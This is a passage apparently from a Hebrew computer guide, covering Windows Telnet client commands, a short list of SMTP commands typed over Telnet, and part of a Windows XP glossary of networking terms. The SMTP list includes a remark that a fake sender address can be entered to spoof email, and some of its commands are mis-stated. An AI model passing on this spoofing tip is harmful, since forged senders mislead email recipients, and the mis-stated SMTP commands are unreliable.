‫לא תתבקש לספק שם וסיסמת כניסה בעת ‪ NTLM,‬בעת השימוש באימות של‬
‫‪.‬התקשרות למחשב מרוחק‬

‫•‬ ‫‪.‬מפעיל הד מקומי ‪SET LOCALECHO‬‬


‫•‬ ‫קובע את סוג המסוף }‪SET TERM {ANSI|VT100|VT52|VTNT‬‬
‫‪.‬המתאים‬

‫בעת הפעלת יישומים רגילים של שורת פקודה‪ VT100 .‬השתמש בסוג המסוף‬
‫בעת הפעלת יישומים מתקדמים של שורת פקודה‪ VTNT ,‬השתמש בסוג המסוף‬
‫‪ edit.‬כגון‬

‫•‬ ‫קובע את רצף המקשים לשימוש לשם מעבר ממצב הפעלה ‪ESCAPE Character‬‬

‫‪406‬‬
‫‪ set escape,‬כתו היציאה‪ ,‬הקלד ‪ CTRL+P‬למצב פקודה‪ .‬לדוגמה‪ ,‬כדי לקבוע את‬
‫‪ ENTER.‬ולאחר מכן הקש ‪ CTRL+P‬הקש‬
‫•‬ ‫קובע את הקובץ שישמש לרישום פעילות ‪LOGFILE FileName‬‬
‫‪.‬קובץ יומן הרישום חייב להיות במחשב המקומי שלך ‪Telnet.‬‬

‫הרישום מתחיל אוטומטית בעת קביעת אפשרות זו‪.‬‬

‫•הפקודה ‪ LOGGING‬מפעילה את הרישום‪.‬‬

‫אם לא נקבע קובץ רישום ביומן‪ ,‬תוצג הודעת שגיאה‪.‬‬


‫השתמש בפקודה ‪ unset‬כדי לבטל הד מקומי או כדי לקבוע אימות לכניסה‪/‬בקשת סיסמה‪.‬‬

‫•הפקודה ‪ UNSET NLM‬מבטלת את ‪.NLM‬‬ ‫‪unset‬‬

‫•הפקודה ‪ UNSET LOCALECHO‬מבטלת הד מקומי‪.‬‬


‫השתמש בפקודה ‪ status‬כדי לקבוע אם מחובר לקוח ‪.Telnet‬‬ ‫‪status‬‬
‫]‪ CTRL+‬הקש ]‪ CTRL+‬כדי לעבור לשורת הפקודה של ‪ Telnet‬מהפעלה מחוברת‪.‬‬
‫השתמש בפקודה ‪ enter‬משורת הפקודה כדי לעבור להפעלה המחוברת (אם היא קיימת)‪.‬‬ ‫‪enter‬‬
‫‪ HELO‬שרתי דואר מבינים רק אם יש בהתחלה ‪HALO‬‬
‫‪Mail‬‬
‫מאיפה האימייל נישלח (אפשר לכתוב כתובת לא אמיתית כך מזיפים אימייל)‬
‫‪:from‬‬
‫‪ :Rcpt To‬כתובת לחזרה‬
‫‪ :Subject‬נושא‬
‫תאריך‬ ‫‪:Date‬‬
‫מדפיסה מידע עזרה‬ ‫?‪help/‬‬
‫סיום המכתב‬ ‫‪quit‬‬

‫‪HFM‬‬

‫‪407‬‬
‫מילון מושגים של ‪WINDOS XP‬‬
‫אל תלחצו על הקישורים הם לא פועלים‬
‫סימנים‬
‫‪100baseT‬‬

‫תקן ‪ Ethernet‬עבור רשתות תקשורת מקומיות בהן נעשה שימוש בכבל ‪twisted-pair‬‬
‫להעברת נתונים בקצב של ‪ 100‬מגה‪-‬סיביות לשניה (‪.)Mbps‬‬

‫‪10base2‬‬

‫תקן ‪ Ethernet‬ו‪ IEEE 802.3 -‬עבור רשתות תקשורת מקומיות של פס‪-‬בסיס בהן נעשה‬
‫שימוש בכבל קואקסיאלי דק באורך עד ‪ 200‬מטר; ברשתות אלה‪ ,‬העברת נתונים היא בקצב של‬
‫‪ 10‬מגה‪-‬סיביות לשניה (‪ .)Mbps‬כבלים מחוברים למתאמי רשת באמצעות מחבר ‪.BNC‬‬

‫‪10baseT‬‬

‫תקן ‪ Ethernet‬עבור רשתות תקשורת מקומיות בהן נעשה שימוש בכבל ‪twisted-pair‬‬
‫להעברת נתונים בקצב של ‪ 10‬מגה‪-‬סיביות לשניה (‪.)Mbps‬‬

‫‪A‬‬
‫‪Active Directory‬‬

‫שירות הספריות המאחסן מידע אודות אובייקטים ברשת והופך את המידע לזמין עבור‬
‫משתמשים ומנהלי רשתות‪ Active Directory .‬מאפשר למשתמשי רשת גישה למשאבים‬
‫מורשים בכל מקום ברשת באמצעות תהליך כניסה בודד‪ .‬הוא מספק למנהלי רשתות הצגה‬
‫אינטואיטיבית והירארכית של הרשת ונקודת ניהול יחידה עבור כל האובייקטים ברשת‪.‬‬

‫ראה גם‪ :‬מחיצת ספריה; שירות‬

‫‪ActiveX‬‬

‫קבוצה של טכנולוגיות המאפשרת לרכיבי תוכנה לקיים אינטראקציה ביניהם בסביבת רשת‪,‬‬
‫מבלי להתחשב בשפה שבה נוצרו הרכיבים‪.‬‬

‫‪(ACPI) Advanced Configuration and Power Interface‬‬

‫מפרט תעשייתי פתוח המגדיר את ניהול צריכת החשמל במגוון רחב של מחשבים ניידים‪,‬‬
‫מחשבים שולחניים‪ ,‬שרתים וציוד היקפי‪ ACPI .‬הוא הבסיס של היוזמה התעשייתית ‪OnNow‬‬

‫‪408‬‬
‫המאפשרת ליצרני מערכות לספק מחשבים שיופעלו על‪-‬ידי הקשה בודדת בלוח המקשים‪ .‬תכנון‬
‫‪ ACPI‬הוא חיוני לניצול מירבי של יתרונות ניהול צריכת החשמל והכנס‪-‬הפעל‪.‬‬

‫ראה גם‪ :‬הכנס‪-‬הפעל‬

‫‪Advanced Program-to-Program Communication File Transfer‬‬


‫‪(AFTP) Protocol‬‬

‫פרוטוקול העברת קבצים המשמש במערכות מחשבים מארחים של ‪Advanced .IBM‬‬


‫‪ Program-to-Program Communications‬של ‪ IBM‬הוא המקבילה לפרוטוקול העברת‬
‫הקבצים של ‪.TCP/IP‬‬

‫‪(ASCII) American Standard Code for Information Interchange‬‬

‫ערכה סטנדרטית לקידוד תווים בגודל בית המשמשת עבור נתונים מבוססי טקסט‪ .‬ערכת ‪ASCII‬‬
‫משתמשת בצירופי מספרים מיועדים בני ‪ 7‬סיביות או ‪ 8‬סיביות לייצוג ‪ 128‬או ‪ 256‬תווים‬
‫אפשריים‪ .‬ערכת ‪ ASCII‬סטנדרטית משתמשת ב‪ 7 -‬סיביות לייצוג כל האותיות הרישיות‬
‫והאותיות הקטנות‪ ,‬המספרים ‪ 0‬עד ‪ ,9‬סימני הפיסוק ותווי בקרה מיוחדים המשמשים באנגלית‬
‫אמריקאית‪ .‬מרבית המערכות הנוכחיות המבוססות על ‪ x86‬תומכות בשימוש בערכת ‪ASCII‬‬
‫מורחבת (או "גבוהה")‪ .‬ערכת ‪ ASCII‬מורחבת מאפשרת לסיבית השמינית של כל תו לזהות‬
‫‪ 128‬תווי סימנים מיוחדים נוספים‪ ,‬אותיות בשפות זרות וסמלים גרפיים‪.‬‬

‫ראה גם‪Unicode :‬‬

‫‪AppleTalk‬‬

‫ארכיטקטורת הרשת ופרוטוקולי הרשת של ‪ .Apple Computer‬רשת המכילה לקוחות‬


‫‪ Macintosh‬ומחשב שבו פועל ‪ Windows 2000 Server‬או ‪ Windows NT Server‬עם‬
‫‪ Services for Macintosh‬מתפקדת כרשת ‪.AppleTalk‬‬

‫‪(American Standard Code for Information Interchange) ASCII‬‬


‫ראה הגדרה עבור‪)ASCII( American Standard Code for Information Interchange :‬‬

‫‪B‬‬
‫‪BIOS‬‬
‫ראה הגדרה עבור‪ :‬מערכת קלט‪/‬פלט בסיסית (‪)BIOS‬‬

‫‪C‬‬
‫‪CD-R‬‬

‫תקליטור שניתן לכתוב עליו‪ .‬ניתן להעתיק נתונים לתקליטור במהלך מספר פעמים‪ ,‬אך לא ניתן‬
‫למחוק נתונים מהתקליטור‪.‬‬

‫‪CD-RW‬‬

‫תקליטור הניתן לכתיבה חוזרת‪ .‬ניתן להעתיק נתונים לתקליטור במהלך מספר פעמים וגם למחוק‬
‫אותם‪.‬‬

‫‪409‬‬
‫‪(CMOS) Complementary Metal Oxide Semiconductor‬‬

‫סוג ספציפי של טכנולוגיית מוליכים למחצה שצריכת החשמל שלהם נמוכה ביותר‪ .‬משמעותו‬
‫המקובלת של המונח היא אזור אחסון קטן שבו המערכת מנהלת מעקב אחר פרמטרי חומרה‬
‫מסוימים‪ ,‬כגון גודל הדיסק הקשיח‪ ,‬מספר היציאות הטוריות במחשב וכו'‪ CMOS .‬מכונה גם‬
‫‪.Setup RAM‬‬

‫‪D‬‬
‫‪(DSL) Digital Subscriber Line‬‬

‫סוג של התקשרות אינטרנט מהירה באמצעות קווי הטלפון הרגילים‪ .‬התקשרות זה מכונה גם‬
‫התקשרות פס רחב‪.‬‬

‫‪DirectX‬‬

‫הרחבה של מערכת ההפעלה ‪ .Microsoft Windows‬טכנולוגיית ‪ DirectX‬מסייעת למשחקים‬


‫ולתוכניות אחרות לעשות שימוש ביכולות המולטימדיה המתקדמות של החומרה שברשותך‪.‬‬

‫‪DLL‬‬
‫ראה הגדרה עבור‪ :‬ספריית קישור דינאמי (‪)DLL‬‬

‫‪DNS‬‬
‫ראה הגדרה עבור‪)DNS( Domain Name System :‬‬

‫‪(DNS) Domain Name System‬‬

‫מסד נתונים הירארכי מבוזר המכיל מיפויים של שמות תחומי ‪ DNS‬אל מגוון סוגי נתונים‪ ,‬כגון‬
‫כתובות ‪ DNS .IP‬מאפשר איתור מחשבים ושירותים לפי שמות ידידותיים למשתמש; בנוסף‪,‬‬
‫הוא מאפשר זיהוי של מידע אחר המאוחסן במסד הנתונים‪.‬‬

‫ראה גם‪ ;)TCP/IP( Transmission Control Protocol/Internet Protocol :‬כתובת ‪;IP‬‬


‫קבוצת מחשבים; שירות‬

‫‪(DHCP) Dynamic Host Configuration Protocol‬‬

‫פרוטוקול שירות ‪ TCP/IP‬המציע תצורה חכורה דינאמית של כתובות ‪ IP‬למחשבים מארחים‬


‫ומחלק פרמטרים אחרים של תצורה ללקוחות רשת זכאים‪ DHCP .‬מספק תצורת רשת‬
‫‪ TCP/IP‬בטוחה‪ ,‬אמינה ופשוטה‪ ,‬מונע התנגשויות של כתובות ומסייע בשימור כתובות ‪ IP‬של‬
‫לקוחות ברשת‪.‬‬

‫‪ DHCP‬עושה שימוש במודל שרת‪/‬לקוח שעל פיו שרת ‪ DHCP‬מנהל באופן מרוכז כתובות ‪IP‬‬
‫הנמצאות בשימוש ברשת‪ .‬ללקוחות התומכים ב‪ DHCP -‬יש אפשרות לבקש ולקבל חכירה של‬
‫כתובת ‪ IP‬משרת ‪ DHCP‬כחלק מתהליך אתחול הרשת שלהם‪.‬‬

‫ראה גם‪ ;)TCP/IP( Transmission Control Protocol/Internet Protocol :‬כתובת ‪;IP‬‬


‫שירות‬

‫‪410‬‬
‫‪E‬‬
‫‪EFI‬‬
‫ראה הגדרה עבור‪ :‬ממשק קושחה בר‪-‬הרחבה (‪)EFI‬‬

‫‪(XML) Extensible Markup Language‬‬

‫שפת מטה‪-‬סימון המספקת תבנית לתיאור נתונים מובנים‪ .‬דבר זה מקל על יצירת הצהרות‬
‫מדויקות יותר של תוכן ותוצאות חיפוש משמעותיות יותר על‪-‬פני פלטפורמות מרובות‪ .‬בנוסף‪,‬‬
‫‪ XML‬יאפשר יצירת דור חדש של יישומי הצגה וטיפול בנתונים מבוססי אינטרנט‪.‬‬

‫‪F‬‬
‫‪FAT‬‬
‫ראה הגדרה עבור‪ :‬טבלת מיקומי קבצים (‪)FAT‬‬

‫‪FAT32‬‬

‫נגזרת של מערכת הקבצים של טבלת מיקומי קבצים (‪ FAT32 .)FAT‬תומכת באשכולות קטנים‬
‫יותר ואמצעי אחסון גדולים יותר מאשר ‪ ,FAT‬וכתוצאה מכך הקצאת השטח באמצעי אחסון של‬
‫‪ FAT32‬יעילה יותר‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; טבלת מיקומי קבצים (‪ ;)FAT‬מערכת קבצים של ‪NTFS‬‬

‫‪Firewall‬‬

‫שילוב של חומרה ותוכנה המספק מערכת אבטחה‪ ,‬בדרך כלל על‪-‬מנת למנוע גישה לא מורשית‬
‫מבחוץ לרשת פנימית או אינטרא‪-‬נט‪ Firewall .‬מונע תקשורת ישירה בין מחשבי הרשת‬
‫ומחשבים חיצוניים על‪-‬ידי ניתוב התקשורת דרך שרת ‪ Proxy‬מחוץ לרשת‪ .‬שרת ה‪Proxy -‬‬
‫קובע אם העברת קובץ אל הרשת היא בטוחה או לא‪ Firewall .‬מכונה גם שער אבטחת קצה‪.‬‬

‫‪) FTP‬פרוקוטול העברת קבצים(‬


‫ראה הגדרה עבור‪ :‬פרוטוקול העברת קבצים (‪)FTP‬‬

‫‪G‬‬
‫אין במילון מונחים המתחילים באות זו‪.‬‬

‫‪H‬‬
‫‪HTTP‬‬
‫ראה הגדרה עבור‪ :‬פרוטוקול העברת היפר‪-‬טקסט (‪)HTTP‬‬

‫‪Hub‬‬

‫נקודת חיבור משותפת להתקנים ברשת‪ .‬ה‪ Hub -‬משמש בדרך כלל לחיבור מקטעים של רשת‬
‫תקשורת מקומית (‪ )LAN‬ולכן הוא מכיל יציאות מרובות‪ .‬כאשר נתונים מגיעים ביציאה אחת‪,‬‬
‫הם מועתקים אל היציאות האחרות כדי שכל המקטעים של ה‪ LAN -‬יראו את הנתונים‪.‬‬

‫‪411‬‬
‫ראה גם‪ hub :‬של מיתוג; יציאה; רשת תקשורת מקומית (‪)LAN‬‬

‫‪ hub‬של מיתוג‬

‫התקן רשת מרכזי (‪ hub‬מרובה יציאות) המעביר מנות ליציאות ספציפיות שלא כמו ב‪hub -‬‬
‫רגילים‪ ,‬המשדרים כל מנה לכל יציאה‪ .‬באופן זה‪ ,‬ההתקשרויות בין יציאות מעבירות את רוחב‬
‫הפס הזמין המלא‪.‬‬

‫ראה גם‪ ;Hub :‬מנה‬

‫‪(HTML) Hypertext Markup Language‬‬

‫שפת סימונים פשוטה המשמשת ליצירת מסמכי היפר‪-‬טקסט הניתנים להעברה מפלטפורמה אחת‬
‫לאחרת‪ .‬קבצי ‪ HTML‬הם קבצי טקסט ‪ ASCII‬פשוטים עם קודים מוטבעים (המצוינים‬
‫באמצעות תגי סימון) המציינים עיצוב וקישורי היפר‪-‬טקסט‪.‬‬

‫ראה גם‪)ASCII( American Standard Code for Information Interchange :‬‬

‫‪I‬‬
‫‪IEEE 1394‬‬

‫תקן להתקנים טוריים מהירים כגון ציוד עריכת אודיו או שמע דיגיטליים‪.‬‬

‫ראה גם‪ :‬התקן‬

‫‪(IrDA) Infrared Data Association‬‬

‫ארגון התעשייה של ספקי מחשבים‪ ,‬רכיבים וטלקומוניקציה הקובע את התקנים לתקשורת‬


‫אינפרא‪-‬אדומה בין מחשבים להתקנים היקפיים כגון מדפסות‪.‬‬

‫ראה גם‪ :‬אינפרא‪-‬אדום (‪)IR‬‬

‫‪(IETF) Internet Engineering Task Force‬‬

‫קהילה פתוחה של מתכנני רשתות‪ ,‬מפעילים‪ ,‬ספקים וחוקרים בעלי עניין בהתפתחות‬
‫ארכיטקטורת האינטרנט ובפעילותו התקינה של האינטרנט‪ .‬עבודה טכנית מבוצעת על‪-‬ידי‬
‫קבוצות עבודה המאורגנות לפי תחומים (כגון ניתוב‪ ,‬העברה ואבטחה) ובאמצעות רשימות‬
‫נמענים‪ .‬פיתוח תקני אינטרנט נעשה במסמכי ‪ RFC‬של ‪ ,IETF‬שהם סידרה של הערות הדנות‬
‫בהיבטים הרבים של מיחשוב ותקשורת מחשבים‪ ,‬תוך התמקדות בפרוטוקולי רשתות‪ ,‬תוכניות‬
‫ותפיסות‪.‬‬

‫‪(IIS) Internet Information Services‬‬

‫שירותי תוכנה התומכים ביצירה‪ ,‬הגדרה וניהול של אתר אינטרנט‪ ,‬וכן פעולות אינטרנט נוספות‪.‬‬
‫‪ Internet Information Services‬כולל את הפרוטוקול להעברת חדשות ברשת (‪,)NNTP‬‬
‫פרוטוקול העברת הקבצים (‪ )FTP‬ופרוטוקול העברת הדואר הפשוט (‪.)SMTP‬‬

‫ראה גם‪ ;)NNTP( Network News Transfer Protocol :‬פרוטוקול העברת קבצים (‪)FTP‬‬

‫‪412‬‬
‫‪IPX/SPX‬‬

‫פרוטוקולי העברה המשמשים ברשתות ‪ ,Novell NetWare‬ויחד מקבילים לשילוב של ‪ TCP‬ו‪-‬‬


‫‪ IP‬בחבילת הפרוטוקולים ‪ IPX .TCP/IP‬מיושם ב‪ Windows -‬באמצעות ‪.NWLink‬‬

‫ראה גם‪)TCP/IP( Transmission Control Protocol/Internet Protocol :‬‬

‫‪(Integrated Services Digital Network) ISDN‬‬

‫שירות טלפון דיגיטלי מהיר שיכול להגביר באופן דרמטי את מהירות החיבור שלך לאינטרנט או‬
‫לרשת ‪( LAN‬רשת תקשורת מקומית) של החברה שלך‪ .‬טכנולוגיית ‪ ISDN‬יכולה לפעול‬
‫במהירות של ‪ 128‬קילו‪-‬סיביות בשניה (‪ ,)Kbps‬מהירות הגבוהה פי חמישה או יותר ממודמים‬
‫אנלוגיים רבים‪.‬‬

‫‪) ISP‬ספק שירותי אינטרנט(‬


‫ראה הגדרה עבור‪ :‬ספק שירותי אינטרנט (‪)ISP‬‬

‫‪J‬‬
‫אין במילון מונחים המתחילים באות זו‪.‬‬

‫‪K‬‬
‫אין במילון מונחים המתחילים באות זו‪.‬‬

‫‪L‬‬
‫‪(Layer 2 Tunneling Protocol) L2TP‬‬

‫פרוטוקול ‪ Tunneling‬באינטרנט העומד בתקני התעשייה‪ .‬שלא כמו ‪Point-to-Point‬‬


‫‪ L2TP ,)PPTP( Tunneling Protocol‬אינו דורש קישוריות ‪ IP‬בין תחנת העבודה של הלקוח‬
‫לשרת‪ L2TP .‬דורש רק כי אמצעי ‪ Tunnel‬יספק קישוריות מוכוונת מנות מסוג ‪point-to-‬‬
‫‪ .point‬ניתן להשתמש בפרוטוקול בטכנולוגיות כגון ‪ Frame Relay ,ATM‬ו‪L2TP .X.25 -‬‬
‫מספק את אותה פונקציונליות כמו ‪ .PPTP‬הפרוטוקול מבוסס על מפרטים של ‪Layer 2‬‬
‫‪ )L2F( Forwarding‬ו‪ ,PPTP -‬ומאפשר ללקוחות להגדיר ‪ Tunnels‬ברשתות נפרדות‪.‬‬

‫ראה גם‪ ;Tunnel ;)PPTP( Point-to-Point Tunneling Protocol :‬פרוטוקול אינטרנט (‬


‫‪)IP‬‬

‫‪) LCD‬צג גבישי נוזלי(‬


‫ראה הגדרה עבור‪ :‬תצוגת גביש נוזלי (‪)LCD‬‬

‫‪(LPD) Line Printer Daemon‬‬

‫שירות בשרת ההדפסה המקבל מסמכים (משימות הדפסה) מכלי שירות של ‪Line Printer‬‬
‫‪ )LPR( Remote‬הפועלים במערכות לקוח‪.‬‬

‫ראה גם‪ ;)LPR( Line Printer Remote :‬משימת הדפסה; שירות; שרת הדפסה‬

‫‪413‬‬
‫‪(LPR) Line Printer Remote‬‬

‫כלי שירות של קישוריות הפועל במערכות לקוח ומשמש להדפסת קבצים במחשב שבו פועל‬
‫שרת ‪.LPD‬‬

‫ראה גם‪)LPD( Line Printer Daemon :‬‬

‫‪M‬‬
‫‪Make Changes‬‬

‫הרשאה בסגנון ‪ Macintosh‬המעניקה למשתמשים את הזכות לבצע שינויים בתוכנה של תיקיה;‬


‫לדוגמה‪ ,‬שינוי‪ ,‬שינוי שם‪ ,‬העברה‪ ,‬יצירה ומחיקה של קבצים‪ .‬כאשר שילוב הרשת של‬
‫‪ AppleTalk‬מתרגם הרשאות גישה של ‪ Macintosh‬להרשאות ב‪ ,PC -‬משתמש בעל ההרשאה‬
‫‪ Make Changes‬מקבל את ההרשאות ‪ Write‬ו‪.Delete -‬‬

‫ראה גם‪ :‬הרשאה‬

‫‪(Microsoft Disk Operating System) MS-DOS‬‬

‫מערכת הפעלה בה נעשה שימוש בכל המחשבים האישיים והמחשבים התואמים‪ .‬כמו כל מערכת‬
‫הפעלה אחרת‪ ,‬כגון ‪ ,OS/2‬היא מתרגמת קלט לוח מקשים של המשתמש לפעולות הניתנות‬
‫לביצוע על‪-‬ידי המחשב‪ .‬הגישה ל‪ MS-DOS -‬יכולה להתבצע בקלות באמצעות שורת הפקודה‪,‬‬
‫והגישה לתוכניות מבוססות ‪ MS-DOS‬יכולה להתבצע באמצעות קיצורי דרך בשולחן העבודה‪.‬‬

‫ראה גם‪ ;OS/2 :‬חלון שורת הפקודה; תוכנית מבוססת ‪MS-DOS‬‬

‫‪N‬‬
‫‪(NetBEUI) NetBIOS Extended User Interface‬‬

‫פרוטוקול רשת המהווה חלק מ‪ .Microsoft Networking -‬הוא משמש לרוב ברשתות‬
‫תקשורת מקומיות (‪ )LAN‬קטנות בגודל מחלקה המורכבות מלקוח אחד עד ‪ .200‬הוא יכול‬
‫להשתמש בניתוב מקור של ‪ Token Ring‬כשיטת הניתוב היחידה‪ .‬זהו יישום תקן ‪NetBIOS‬‬
‫של ‪.Microsoft‬‬

‫ראה גם‪ :‬פרוטוקול; רשת תקשורת מקומית (‪)LAN‬‬

‫‪(NNTP) Network News Transfer Protocol‬‬

‫חבר בחבילת הפרוטוקולים ‪ TCP/IP‬המשמש להפצת הודעות של קבוצת דיון אל לקוחות‬


‫(קוראי קבוצות דיון) ושרתים של ‪ NNTP‬באינטרנט‪ NNTP .‬מעוצב כך שמאמרים לקבוצות‬
‫דיון יאוחסנו בשרת במסד נתונים מרכזי‪ ,‬דבר המאפשר למשתמש לבחור פריטים ספציפיים‬
‫לקריאה‪.‬‬

‫ראה גם‪)TCP/IP( Transmission Control Protocol/Internet Protocol :‬‬

‫‪414‬‬
‫‪O‬‬
‫‪OLE‬‬

‫דרך להעברה ושיתוף של מידע בין יישומים על‪-‬ידי הדבקת מידע שנוצר ביישום אחד במסמך‬
‫שנוצר ביישום אחר‪ ,‬כגון גיליון אלקטרוני או קובץ של מעבד תמלילים‪.‬‬

‫ראה גם‪ :‬אובייקט מוטבע; אובייקט מקושר; חבילה‬

‫‪OS/2‬‬

‫מערכת הפעלה עם מצב מוגן‪ ,‬זיכרון וירטואלי וריבוי משימות עבור מחשבים אישיים המבוססים‬
‫על מעבדי ‪ i486 ,80386 ,80286 Intel‬ו‪ .Pentium -‬ל‪ OS/2 -‬יש אפשרות להפעיל את‬
‫מרבית התוכניות המבוססות על ‪ MS-DOS‬ולקרוא את כל הדיסקים של ‪.MS-DOS‬‬

‫ראה גם‪ :‬תוכנית מבוססת ‪MS-DOS‬‬

‫‪P‬‬
‫‪Panose‬‬

‫שיטה למיון גופנים המודדת ערכים‪ ,‬כגון תגי דפוס‪ ,‬עובי ווריאציות הקשה‪ ,‬עבור גופן‬
‫‪ .TrueType‬ערכים אלה מיוצגים באמצעות מספר ‪ .Panose‬מספר ה‪ Panose -‬משמש לשיוך‬
‫הגופן לגופנים אחרים בעלי מראה דומה אך שמות שונים‪ .‬ככל שההפרש בין מספרי ה‪Panose -‬‬
‫של שני גופנים קטן יותר‪ ,‬כך הם דומים יותר‪.‬‬

‫‪(PCI) Peripheral Component Interconnect‬‬

‫מפרט שהונהג על‪-‬ידי ‪ Intel Corporation‬ומגדיר מערכת אפיק מקומית המאפשרת התקנה של‬
‫עד ‪ 10‬כרטיסי הרחבה התואמים ל‪.PCI -‬‬

‫‪PKCS #12‬‬

‫תקן תחביר חילופי המידע האישי‪ ,‬שפותח ומתוחזק על‪-‬ידי ‪ .RSA Data Security, Inc.‬תקן‬
‫תחביר זה קובע תבנית ניידת לאחסון או לתעבורה של מפתחות פרטיים‪ ,‬אישורים ופריטי מידע‬
‫מוצפנים שונים של משתמש‪.‬‬

‫ראה גם‪ :‬אישור‬

‫‪PKCS #7‬‬

‫תקן תחביר הודעות הקריפטוגרפיה‪ .‬זוהו תחביר כללי‪ ,‬שפותח ומתוחזק על‪-‬ידי ‪RSA Data‬‬
‫‪ ,Security, Inc.‬עבור נתונים שייתכן שתוחל עליהם קריפטוגרפיה‪ ,‬כגון חתימות דיגיטליות‬
‫והצפנה‪ .‬הוא מספק גם תחביר עבור הפצת אישורים או רשימות ביטול אישורים‪.‬‬

‫ראה גם‪ :‬אישור; הצפנה; רשימת ביטול אישורים (‪)CRL‬‬

‫‪415‬‬
‫‪(PPP) Point-to-Point Protocol‬‬

‫מערכת פרוטוקולים בתקן תעשייתי לשם שימוש בקישורי ‪ point-to-point‬להעברת יחידות‬


‫נתונים מרובות פרוטוקולים‪ PPP .‬מתועד ב‪.RFC 1661 -‬‬

‫ראה גם‪)TCP/IP( Transmission Control Protocol/Internet Protocol :‬‬

‫‪(PPPoE) Point-to-Point Protocol over Ethernet‬‬

‫מפרט להתקשרות של משתמשים ברשת ‪ Ethernet‬לאינטרנט באמצעות חיבור פס רחב‪ ,‬כגון קו‬
‫‪ DSL‬יחיד‪ ,‬התקן אלחוטי או מודם כבלים‪ .‬השימוש ב‪ PPPoE -‬ובמודם פס רחב מאפשר‬
‫למשתמשי ‪ LAN‬קבלת גישה מאומתת ואישית לרשתות נתונים מהירות‪ .‬על‪-‬ידי שילוב‬
‫‪ Ethernet‬ו‪ PPPoE ,)PPP( Point-to-Point Protocol -‬מספק דרך יעילה ליצירת‬
‫התקשרות נפרדת לשרת מרוחק עבור כל משתמש‪.‬‬

‫‪(PPTP) Point-to-Point Tunneling Protocol‬‬

‫טכנולוגיית רשת התומכת ברשתות פרטיות וירטואליות (‪ )VPN‬מרובות פרוטוקולים‪ ,‬דבר‬


‫המאפשר למשתמשים מרוחקים לקבל גישה לרשתות של חברות בצורה בטוחה באינטרנט או‬
‫ברשתות אחרות על‪-‬ידי חיוג אל ספק שירותי אינטרנט (‪ )ISP‬או על‪-‬ידי התחברות ישירה‬
‫לאינטרנט‪ )PPTP( Point-to-Point Tunneling Protocol .‬מבצע ‪ ,tunneling‬או יצירת‬
‫מעטפת‪ ,‬של תעבורת ‪ IPX ,IP‬או ‪ NetBEUI‬בתוך מנות ‪ .IP‬משמעות הדבר היא שמשתמשים‬
‫יכולים להפעיל מרחוק יישומים התלויים בפרוטוקולי רשת מסוימים‪.‬‬

‫ראה גם‪ ;Tunnel ;)NetBEUI( NetBIOS Extended User Interface :‬מנה; פרוטוקול‬
‫אינטרנט (‪ ;)IP‬רשת פרטית וירטואלית (‪)VPN‬‬

‫‪PostScript‬‬

‫שפת תיאור עמוד (‪ ,)PDL‬שפותחה על‪-‬ידי ‪ Adobe Systems‬להדפסה במדפסות לייזר‪.‬‬


‫‪ PostScript‬מציע יכולת גופן גמישה וגרפיקה באיכות גבוהה‪ .‬זהו התקן עבור הוצאה לאור‬
‫שולחנית משום שהוא נתמך על‪-‬ידי סדרי‪-‬תמונה‪ ,‬מדפסות הרזולוציה הגבוהה ששירותי הדפסה‬
‫משתמשים בהן לסידור בדפוס מסחרי‪.‬‬

‫ראה גם‪ ;)PJL( Printer Job Language ;)PCL( Printer Control Language :‬גופני‬
‫‪ ;PostScript‬גופני ‪ ;Type 1‬מדפסת ‪ ;PostScript‬שירות; שפת תיאור עמוד (‪)PDL‬‬

‫‪(Point-to-Point Protocol) PPP‬‬


‫ראה הגדרה עבור‪)PPP( Point-to-Point Protocol :‬‬

‫‪(Printer Control Language (PCL‬‬

‫שפת תיאור העמוד (‪ )PDL‬שפותחה על‪-‬ידי ‪ Hewlett Packard‬עבור מדפסות הלייזר‬


‫ומדפסות הזרקת הדיו שלהם‪ .‬בשל השימוש הנפוץ במדפסות לייזר‪ ,‬שפת פקודה זו הפכה לתקן‬
‫במדפסות רבות‪.‬‬

‫ראה גם‪ ;)PJL( Printer Job Language ;PostScript :‬שפת תיאור עמוד (‪)PDL‬‬

‫‪416‬‬
‫‪(PJL) Printer Job Language‬‬

‫שפת הפקודה של המדפסת שפותחה על‪-‬ידי ‪ Hewlett Packard‬ומספקת בקרת מדפסת ברמת‬
‫משימת ההדפסה‪ .‬באמצעות פקודות ‪ ,PJL‬באפשרותך לשנות הגדרות מדפסת המשמשות‬
‫כברירת מחדל כגון מספר העותקים להדפסה‪ .‬פקודות ‪ PJL‬מאפשרות גם החלפת שפות מדפסת‬
‫בין משימות הדפסה ללא פעולה מצד המשתמש‪ .‬אם קיימת תמיכה בתקשורת דו‪-‬כיוונית‪,‬‬
‫למדפסת תואמת‪ PJL-‬יש אפשרות לשלוח מידע כגון דגם מדפסת ומצב משימה לשרת ההדפסה‪.‬‬

‫ראה גם‪ ;)PCL( Printer Control Language ;PostScript :‬שפת תיאור עמוד (‪)PDL‬‬

‫‪Q‬‬
‫אין במילון מונחים המתחילים באות זו‪.‬‬

‫‪R‬‬
‫‪RAM‬‬
‫ראה הגדרה עבור‪ :‬זיכרון גישה אקראית (‪)RAM‬‬

‫‪(RFC) Request for Comments‬‬

‫מסמך רשמי של ‪ )IETF( Internet Engineering Task Force‬המציין את הפרטים עבור‬


‫פרוטוקולים הכלולים במשפחת ‪.TCP/IP‬‬

‫ראה גם‪Transmission Control ;)IETF( Internet Engineering Task Force :‬‬


‫‪ ;)TCP/IP( Protocol/Internet Protocol‬פרוטוקול‬

‫‪Resource DLL‬‬

‫ספריית קישור דינאמי (‪ )DLL‬המכילה יישום של ממשק תיכנות היישומים (‪ )API‬של‬


‫‪ Resource‬עבור משאב מסוג ספציפי‪ Resource DLL .‬נטען לתוך שטח הכתובת של ה‪-‬‬
‫‪ Resource Monitor‬שלו‪.‬‬

‫ראה גם‪ :‬ספריית קישור דינאמי (‪)DLL‬‬

‫‪ROM‬‬

‫ראשי תיבות של ‪( Read-Only Memory‬זיכרון קריאה בלבד)‪ ,‬מעגל מוליך למחצה שלתוכו‬
‫קוד או נתונים מותקנים באופן קבוע בתהליך הייצור‪ ROM .‬מכיל הוראות או נתונים שניתן‬
‫לקרוא אותם אך לא לשנותם‪.‬‬

‫‪S‬‬
‫‪Script‬‬

‫סוג של תוכנית המורכבת מסידרה של הוראות לתוכנית של כלי או יישום‪ .‬בדרך כלל‪ ,‬הוראות‬
‫מבוטאות ב‪ Script -‬באמצעות הכללים והתחביר של היישום או הכלי‪ ,‬יחד עם מבני בקרה‬
